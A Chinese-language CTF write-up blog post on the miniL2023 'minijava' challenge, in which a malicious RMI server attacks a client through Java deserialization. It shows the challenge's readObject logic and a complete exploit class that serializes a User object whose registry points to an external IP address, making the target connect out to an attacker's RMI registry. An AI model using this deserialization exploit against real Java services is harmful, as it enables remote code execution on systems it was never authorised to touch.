RMI

V3g3t4ble's Blog / 2023-05-11 / 原文

RMI

RMI(Remote Method Invocation)即Java远程方法调用,RMI用于构建分布式应用程序,RMI实现了Java程序之间跨JVM的远程通信。

miniL2023 minijava

RMI服务端攻击客户端
image
看到这个依赖以为可以直接打通
后面看有SerialKiller,基本RMI,有反序列化的地方
接下来就看User的readObject方法

private void readObject(ObjectInputStream in) throws Exception {
    int magic = in.readInt();
    if (magic == 114514) {
      String username1;
      int age1;
      Registry registry1;
      Hello hello;
      byte byte1 = in.readByte();
      switch (byte1) {
        case 1:
          in.defaultReadObject();
          return;
        case 2:
          in.defaultReadObject();
          username1 = getUsername();
          age1 = getAge();
          registry1 = getRegistry();
          if (!username1.equals("L_team"))
            throw new Exception("Invalid username"); 
          if (age1 != 18)
            throw new Exception("Invalid age"); 
          hello = (Hello)registry1.lookup("hello");
          hello.world(this);
          return;
      } 
      throw new Exception("Invalid magic number");
    } 
  }

连接了一个rmi,registry1可控
重写一个User的writeObject方法

        out.writeInt(114514);
        out.writeByte(2);
        out.defaultWriteObject();

EXP:

mport java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Exploit {
    public static void main(String[] args) throws Exception{
        User user = new User("L_team", 18);
        Registry registry = LocateRegistry.getRegistry("39.101.70.33", 1099);
        setFieldValue("registry", registry, user);
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(user);
        byte[] bytes1 = byteArrayOutputStream.toByteArray();
        String encode = java.util.Base64.getEncoder().encodeToString(bytes1);
        System.out.println(encode);
    }
    public static void setFieldValue(String name, Object value, Object obj) throws Exception{
        Field f = obj.getClass().getDeclaredField(name);
        f.setAccessible(true);
        f.set(obj, value);
    }


}